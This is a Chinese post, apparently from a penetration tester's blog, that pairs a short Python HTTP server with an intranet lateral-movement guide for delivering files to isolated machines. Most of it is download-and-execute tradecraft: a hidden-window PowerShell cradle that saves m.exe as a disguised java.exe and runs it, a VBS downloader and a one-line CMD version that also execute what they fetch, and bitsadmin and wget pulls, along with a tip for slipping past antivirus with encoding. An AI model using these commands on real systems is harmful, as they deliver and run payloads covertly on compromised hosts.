Python简易http服务器源码
import SimpleHTTPServer
import SocketServer
import sys
PORT = 80
if len(sys.argv) != 2:
print("use: web.exe port")
else:
PORT = int(sys.argv[1])
Handler = SimpleHTTPServer.SimpleHTTPRequestHandler
httpd = SocketServer.TCPServer(("", PORT), Handler)
print "SimpleHTTPServer is ", PORT
print "by k8gege"
httpd.serve_forever()
用法:
python web.py 端口
web.exe 端口
访问: http://IP:端口
内网渗透
机器A:可上网
机器B:不联网
0x001 机器A文件传到机器B
使用方法,自行打包成可执行文件传到机器部署Web
然后在机器B上通过wget、VBS、Powershell等命令下载文件到机器B
0x002 机器B文件传到机器A
当然也可以反过来,将此程序上传到不可上网机器部部署web
再通过机器A下载机器B文件
0x003 速度
WGET内网下载速度高达70M/S
下载命令
下载者(隐藏窗口)
powershell -WindowStyle Hidden "IEX (New-Object Net.WebClient).DownloadFile('http://192.168.85.131/m.exe','c:\windows\temp\java.exe');Start-Process c:\windows\temp\java.exe"
系统自带bitsadmin下载文件(python简易WEB服务器不太友好,可能会报错)
bitsadmin /transfer n http://192.10.1.8/img/wget.exe C:\WINDOWS\Temp\wget.exe
VBS下载者
Set Post = CreateObject("Msxml2.XMLHTTP")
Set Shell = CreateObject("Wscript.Shell")
Post.Open "GET","http://192.168.25.128:13272/m.exe",0
Post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(Post.responseBody)
afile = "java.exe"
aGet.SaveToFile afile,2
Shell.Run (afile)
如果仅有CMD权限,可用K8飞刀将VBS转成一行命令执行
如果有杀软也可通过随机ASCII码加密进行免杀(个别杀软不行了)
CMD命令-VBS下载者
del K8.vbs&echo Set Post = CreateObject("Msxml2.XMLHTTP") >> K8.vbs&&echo Set Shell = CreateObject("Wscript.Shell") >> K8.vbs&&echo Post.Open "GET","http://192.168.25.128:13272/m.exe",0 >> K8.vbs&&echo Post.Send() >> K8.vbs&&echo Set aGet = CreateObject("ADODB.Stream") >> K8.vbs&&echo aGet.Mode = 3 >> K8.vbs&&echo aGet.Type = 1 >> K8.vbs&&echo aGet.Open() >> K8.vbs&&echo aGet.Write(Post.responseBody) >> K8.vbs&&echo afile = "java.exe" >> K8.vbs&&echo aGet.SaveToFile afile,2 >> K8.vbs&&echo Shell.Run (afile) >> K8.vbs&&cscript K8.vbs&&del K8.vbs
以上命令可能不太方便,或者传输速度较慢,特别是侈传大文件的时候就知道了(不支持端口续传你就得重新下载)
我们可以通过以上方法将Wget先下载过去,再通过Wget下载文件
Wget下载(Linux自带,win需传过去)
wget -P /tmp http://39.109.6.128/cmd.txt
终极方法(cmd直接输出文件)
工具k8exe2bat: https://www.cnblogs.com/k8gege/p/10585903.html
将任意文件转成BAT,通过Bat直接输出文件到目标,在条件非常奇葩的情况下可使用。
因为转出来的命令比较多,仅能执行CMD时会比较麻烦,如果可上传BAT执行还好
PS: 很简单但很多人不懂,特别是客户或新人,遇到不懂的直接发文章给他(可能工具还得编译好的)
当然如果内网自带WEB或其它可用文件传输工具,再自已弄个web进行文件传输就是SB了